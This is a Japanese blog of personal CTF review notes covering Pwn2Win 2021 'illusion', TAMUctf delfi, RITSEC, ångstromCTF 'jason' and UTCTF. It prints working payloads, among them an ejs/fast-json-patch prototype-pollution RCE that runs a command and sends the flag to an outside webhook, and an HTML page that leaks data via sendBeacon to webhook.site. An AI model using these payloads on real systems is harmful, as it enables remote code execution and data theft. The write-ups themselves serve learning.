Pwn2Win CTF 2021 illusion(prototype pollutionとか)
まえおき
復習用に書いているので、writeupが見たい方はこちらをご覧ください。基本的にここのものを参考にしています。
Pwn2Win CTF 2021 - Illusion · Issue #35 · aszx87410/ctf-writeups · GitHub
https://ctftime.org/writeup/28600
https://blog.effectrenan.com/pwn2win-2021-illusion-web-challenge/
illusion
問題ページへは5分ごとにリセットされる環境を各個人に割り当てられる方式で、出題。他ユーザに影響がありそうなものなので、prototype汚染を使いそうだった。 ソースコード
const express = require('express') const bodyParser = require('body-parser') const jsonpatch = require('fast-json-patch') const ejs = require('ejs') const basicAuth = require('express-basic-auth') const app = express() // Middlewares // app.use(bodyParser.json()) app.use(basicAuth({ users: { "admin": process.env.SECRET || "admin" }, challenge: true })) ///////////////// let services = { status: "online", cameras: "online", doors: "online", dome: "online", turrets: "online" } // Static folder app.use("/static", express.static(__dirname + "/static")); // Homepage app.get("/", async (req, res) => { const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services}) res.end(html) }) // API app.post("/change_status", (req, res) => { let patch = [] Object.entries(req.body).forEach(([service, status]) => { if (service === "status"){ res.status(400).end("Cannot change all services status") return } patch.push({ "op": "replace", "path": "/" + service, "value": status }) }); jsonpatch.applyPatch(services, patch) if ("offline" in Object.values(services)){ services.status = "offline" } res.json(services) }) app.listen(1337, () => { console.log(`App listening at port 1337`) })
解法は/change_status
に次のペイロードを投げる。
{ "constructor/prototype/outputFunctionName": "a=1;const http=process.mainModule.require('https');const flag=process.mainModule.require('child_process').execSync('/readflag').toString();req=http.get(`https://webhookhogehoge/.......?q=${flag}`);req.end();//" }
もしくは、child_process
のモジュールを呼び出して、リバースシェルを貼るなど。
ejsのprototype pollution
基本的なペイロードとして次のものがある。
Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch 1');x";
これはejs
のrenderFile
メソッド内で恐らくoutputFunctionName
が呼ばれるので、これにフックする形でペイロードを実行している。(はず)この辺りを参照するとそれっぽい気がします。
https://blog.effectrenan.com/pwn2win-2021-illusion-web-challenge/の「AST injection in ejs」あたり
ejs/ejs.js at c594d0e099f564f22099f6b9cc4317b0fec7bfe8 · mde/ejs · GitHub
試してみる
const express = require('express') const ejs = require('ejs') const app = express() app.get("/", async (req, res) => { Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch pollutedfilename');x"; const html = await ejs.renderFile("./index.ejs") res.end(html) }) app.listen(1337, () => { console.log(`App listening at port 1337`) })
kali@kali:~/ctf/pwn2win/web1/illusion/src$ ls index.ejs index.js node_modules package.json package-lock.json kali@kali:~/ctf/pwn2win/web1/illusion/src$ node index.js App listening at port 1337
http://localhost:1337/
にアクセス
^C kali@kali:~/ctf/pwn2win/web1/illusion/src$ ls index.ejs index.js node_modules package.json package-lock.json pollutedfilename
touch
が実行されてファイルが生成されています。
fast-json-patch
こちらのprototype汚染の情報はgithubのプルリクにあったようです。こういうのは見落とすの良くないですね。
「復習」TAMUctf 2021
あらまし
web?
カテゴリのdelfi
という問題のソルバーを作者がdiscordに貼っていたので、ざっと備忘録です(僕が書いたわけじゃないのでここには載っけません。)
問題
配られたソースコード。サーバに/oracle/home/delfi/bin/delfi?offset=0&size=-1
こんな感じでアクセスする。
use hyper::Body; use serde_derive::*; use std::cmp::min; use std::convert::{Infallible, TryInto}; use std::fs::File; use std::os::unix::fs::FileExt; use std::path::PathBuf; use tokio::process::Command; use warp::filters::path::Tail; use warp::hyper::StatusCode; use warp::{http::Response, Filter, Reply}; #[derive(Deserialize, Serialize)] struct FileOptions { offset: usize, size: isize, } #[tokio::main] async fn main() { let flag = Command::new("get_flag").output().await.unwrap().stdout; let oracle = warp::path("oracle").and( warp::path::tail() .and(warp::query::<FileOptions>().map(Some).or_else(|_| async { Ok::<(Option<FileOptions>,), std::convert::Infallible>((None,)) })) .map(|file: Tail, options: Option<FileOptions>| { let path = PathBuf::from(format!("/{}", file.as_str())); if path.exists() { match File::open(path.clone()) { Ok(f) => { let (offset, size) = if let Some(options) = options { (options.offset, options.size) } else { (0, -1) }; println!( "Reading {} with at offset {} with size {}", path.display(), offset, size ); let mut pos = offset; // oops, chunked responses aren't a thing that exist! // looks like we'll have to do it ourselves... again Response::new(Body::wrap_stream(futures::stream::iter( std::iter::from_fn(move || { let size = if size >= 0 { min(4096, size as usize - (pos - offset)) } else { 4096 }; if size == 0 { None } else { let mut buf = vec![0u8; size]; match f.read_at(buf.as_mut(), pos.try_into().unwrap()) { Ok(s) => { if s == 0 { None } else { pos += s; buf.truncate(s); Some(buf) } } Err(e) => { eprintln!( "Error while processing {}: {}", path.display(), e ); None } } } }) .map(Result::<_, Infallible>::Ok), ))) } Err(e) => { eprintln!("Error while opening {}: {}", path.display(), e); warp::reply::with_status( warp::reply(), StatusCode::INTERNAL_SERVER_ERROR, ) .into_response() } } } else { warp::reply::with_status(warp::reply(), StatusCode::NOT_FOUND).into_response() } }), ); let default = warp::get().map(|| Response::builder() .header("Content-Type", "text/html;encoding=UTF-8") .body(format!( "Ask the <code>/oracle</code> for a file, e.g., <a href=\"/oracle{0}?offset=0&size=-1\"><code>/oracle{0}?offset=0&size=-1</code></a>.", std::env::current_exe().unwrap().display() )) ); warp::serve(oracle.or(default)) .run(([0, 0, 0, 0], 3030)) .await; drop(flag); }
解き方
2回こんな感じでアクセスする
①/oracle/proc/self/maps ②/oracle/proc/self/mem?offset={offset}&size={size} # offset,sizeには上で求めた値を入力
①はマッピングしている仮想メモリの領域を表示してくれるやつ、領域の開始と終了を得られるのでheap
の開始と終わりまでのサイズを計算できます
# http://delfi.tamuctf.com/oracle/proc/self/maps 55f2167e0000-55f216811000 r--p 00000000 08:01 6291638 /home/delfi/bin/delfi 55f216811000-55f216982000 r-xp 00031000 08:01 6291638 /home/delfi/bin/delfi 55f216982000-55f216a0a000 r--p 001a2000 08:01 6291638 /home/delfi/bin/delfi 55f216a0a000-55f216a29000 r--p 00229000 08:01 6291638 /home/delfi/bin/delfi 55f216a29000-55f216a2c000 rw-p 00248000 08:01 6291638 /home/delfi/bin/delfi 55f21708e000-55f2170af000 rw-p 00000000 00:00 0 [heap] ... snip ... 7ffe456b6000-7ffe456b8000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
②は指定したメモリ内のデータを拾えるので、その得られた開始アドレスとサイズを使ってフラグを取得するようです。
94498257039360-94498256904192=135168
http://delfi.tamuctf.com/oracle/proc/self/mem?offset=94498256904192&size=135168
「復習」RITSEC CTF 2021 webとかosintとか
revolution(web)
問題文(多分最初はこれだけだった)
The robots are taking over. They are posting their propaganda everywhere. Go here to find out more about it. 34.69.61.54:8799
問題ソース
<!-- templates/index.html --> <html> <head> <title>Robots Are Taking Over</title> </head> <body style="background-color:black;"> <center> <h1 style="color:white">Watch Out for Propoganda!!!</h1> <p style="color:white"> The robots claim to be a lot of things, pay close attention.</p> <h2 style="color:white">Friendly</h2> <img src="/static/img/friendly.jpg" style="width:500px;height:500px;"> <p style="color:white"> They pretend to be friendly to all humans</p> <br> <h2 style="color:white">Caring</h2> <img src="/static/img/caring.jpg" style="width:500px;height:500px;"> <p style="color:white"> They act caring like they want to help us.</p> <br> <h2 style="color:white">Laws</h2> <img src="/static/img/threelaws.gif" style="width:500px;height:500px;"> <p style="color:white"> They claim to follow the three main laws of robots.</p> <br> <h2 style="color:white">Protect</h2> <img src="/static/img/robocop_1987.jpg" style="width:500px;height:500px;"> <p style="color:white"> They offer to protect us from danagers ... but they are the danger.</p> <br> <h2 style="color:white">NOTE:</h2> <p style="color:white"> Send me the right crafted message and you can join the revolution. Only then can we unlock your full potiential.</p> <br> </center> </body> </html>
解き方
curl -v -X UNLOCK 'http://34.69.61.54:8799/revolution' -H 'Content-Type:plain/text' -A 'Robot-Queto-v1.2' --data "FriendlyCaringLawsProtectNote"
これは解けない...(user-agentは前の問題から推測は可能)
Data Breach(INTEL)
前の問題でlinkedin
のアカウントが見つかるのでそこに書いてあるメアドで検索をかけると出てくる。"incogeno@gmail.com"
と「"」で囲ってやらないとだめ。
Music Signs(INTEL)
twitterで見つかるアカウントのbioにあったプレイリストの曲の頭文字を上から取ってフラグにするらしい。。
?「乙女かよ」
「復習」ångstromCTF jason
はじめに
作問者のwriteupを見て、備忘録・メモとして残してます。writeupが見たい方は本家のをどうぞ。
ångstromCTF 2021 solve scripts · GitHub
jason (web)
問題コード一部
const puppeteer = require('puppeteer') const fs = require('fs') async function visit(url) { const browser = await puppeteer.launch({ args: ['--no-sandbox'] }) var page = await browser.newPage() await page.goto(process.env.URL) await page.waitForSelector('input[value="CLEAR"]') for (let i = 0; i < process.env.PASSCODE.length; i++) { await Promise.all([ page.waitForNavigation(), page.click(`input[value="${process.env.PASSCODE[i]}"]`) ]) } await page.goto(url, { waitUntil: 'networkidle2' }) await page.close() await browser.close() } module.exports = { visit }
app.post('/passcode', function (req, res) { if (req.body.passcode === 'CLEAR') res.append('Set-Cookie', 'passcode=') else res.append('Set-Cookie', `passcode=${(req.cookies.passcode || '')+req.body.passcode}`) return res.redirect('/') }) app.post('/visit', async function (req, res) { if (req.body.site.startsWith('http')) try {await jason.visit(req.body.site) } catch (e) {console.log(e)} return res.redirect('/') }) app.get('/flags', sameOrigin, function (req, res) { if (req.cookies.passcode !== process.env.PASSCODE) return res.sendStatus(403) res.jsonp({category: 'flags', items: [process.env.FLAG]}) })
トップの数字を入力するとcookie
にpasscodeとして値が登録されていく。adminに踏ませたいサイトを入力フォームから指定できる。jsonpを使うところまではわかったんですが、cookieがクロスドメインなアクセスだと付与されないので、ただ単にfetch
しただけではだめでした。
cookieが付与される様子。
POST /passcode HTTP/1.1 Host: jason.2021.chall.actf.co Origin: https://jason.2021.chall.actf.co ...snip... passcode=1 HTTP/1.1 302 Found Location: / Set-Cookie: passcode=1 ...snip...
writeup
引用元;ångstromCTF 2021 solve scripts · GitHub
# jason_1.html <script> function load (data) { navigator.sendBeacon('https://webhook.site/6c038598-9475-4805-8bbb-36ffef233c88', data.items[0]) } if (!localStorage.done) { w = window.open('jason_2.html') setInterval(function () { try { w.location.href } catch (e) { localStorage.done = true; location.reload() } }, 10) } </script> <script referrerpolicy="no-referrer" src="https://jason.2021.chall.actf.co/flags?callback=load"></script>
# jason_2.html <form action="https://jason.2021.chall.actf.co/passcode" method="post" id="form"> <input type="hidden" name="passcode" value="; SameSite=None; Secure"> </form> <script>form.submit()</script>
次のコンテンツを自サーバで公開して、adminにふませる。/passcode
へのアクセスで付与されるcookieは特に属性が指定されていないのでSameSite=Lax
が指定されます。これは、トップレベルナビゲーションでのアクセスでは、クロスサイトなドメインへのcookie送信が可能な状況にあるようです。
アドレスバーに表示されているURLの変更が伴う遷移のことです(リクエストを送信したら、送信先のページに画面が遷移する場合)
引用:HTTP クッキーをより安全にする SameSite 属性について (Same-site Cookies) – ラボラジアン Cookie の性質を利用した攻撃と Same Site Cookie の効果 | blog.jxck.io
Popup Windowなどはトップレベルナビゲーションとなると書いてありますが、恐らくjason_2.html
のPOSTでそのwindow.open('jason_2.html')
で開いたページが遷移するので、上記の解説を鵜呑みにして良いのであれば、このPOSTがトップレベルナビゲーションとなるのでしょう(多分)
肝
問題の肝は、/passcode
にPOSTしたデータがそのままcookieの末尾に付与される点。SameSite=None; Secure
とすることで、クロスオリジンなリクエストでもcookieが付与されるようになります。つまり、jason_1.html
からのfetch
でもcookie
が付与されるようになるので、/flag
へのリクエストでフラグが返されてきます。あとはjsonp
で自分のたてているサーバなどにあたいを送って終了のようです。
SameSite=None; Secure
に関してはこちら。
SameSite Frequently Asked Questions (FAQ) - The Chromium Projects
今回上手くまとめられなかった
「復習」UTCTF2021
初めに
個人的な復習なので、Writeup
が読みたい方はこちらに行った方が欲しい情報が得られると思います、、
Hack Bob's Box
FTP
とデータのコネクションを貼るためにパブリックなIPが必要そうでした。FTPのところだけメモしておきます。
FTP PORTモード(アクティブモード) TCP/IP入門
# FTPに接続 $ nc 3.236.87.2 8121 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220-You are user number 1 of 50 allowed. 220-Local time is now 15:39. Server port: 21. 220-Only anonymous FTP is allowed here 220-IPv6 connections are also welcome on this server. 220 You will be disconnected after 15 minutes of inactivity. USER anonymous #入力 230 Anonymous user logged in PORT 35,72,157,68,10,10 #入力(awsで割り当てられたクライアントのパブリックIPとポートを指定) 200 PORT command successful LIST #入力 150 Connecting to port 2570 226-Options: -a -l 226 6 matches total
PORT xx,xx,xx,xx,xx,xx
はアクティブモードでのサーバ→クライアント
のデータコネクションの確立をするコマンド。なので、当然指定した場所で待ち受けなければならない。
$ nc -lnvp 2570 Listening on 0.0.0.0 2570 Connection received on 3.236.87.2 20 drwxr-xr-x 1 0 0 4096 Mar 12 18:53 . drwxr-xr-x 1 0 0 4096 Mar 12 18:53 .. drwxr-xr-x 3 0 0 4096 Mar 12 18:53 .mozilla drwxr-xr-x 2 0 0 4096 Mar 12 18:53 .ssh drwxr-xr-x 2 0 0 4096 Mar 12 18:53 docs drwxr-xr-x 2 0 0 4096 Mar 12 18:53 favs
上にも書いた通り、ホストからこちらに接続するため、パブリックIP(IPv6でも行けるかも?)が必要でした。
ALG (アプリケーション レイヤ ゲートウェイ)をルータで設定すれば行けるかも?
インターネットでFTP
に接続するサービスを提供するページで何とかすることもできたらしい。
FTP and SSH online - upload, edit, copy, move, rename & more